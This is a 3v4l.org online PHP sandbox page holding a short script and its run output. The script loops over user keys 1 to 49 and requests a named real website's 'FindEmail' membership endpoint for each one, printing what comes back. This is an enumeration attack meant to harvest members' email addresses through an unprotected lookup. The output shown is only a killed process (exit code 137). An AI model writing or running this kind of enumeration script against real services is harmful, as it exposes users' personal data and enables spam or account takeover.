3v4l.org

run code in 300+ PHP versions simultaneously
<?php sleep(50); for($i = 1; $i < 50; $i++) { $email = file_get_contents('http://www.redbana.com/MemberShip/SearchIDPWValidation.aspx?Method=FindEmail&UserKey='.$i); echo $email.'<br>'; } ?>
Output for 5.4.0 - 5.4.32, 7.0.20, 7.1.5 - 7.1.10, 7.2.0 - 7.2.33, 7.3.16 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6

Process exited with code 137.
preferences:
146.42 ms | 403 KiB | 179 Q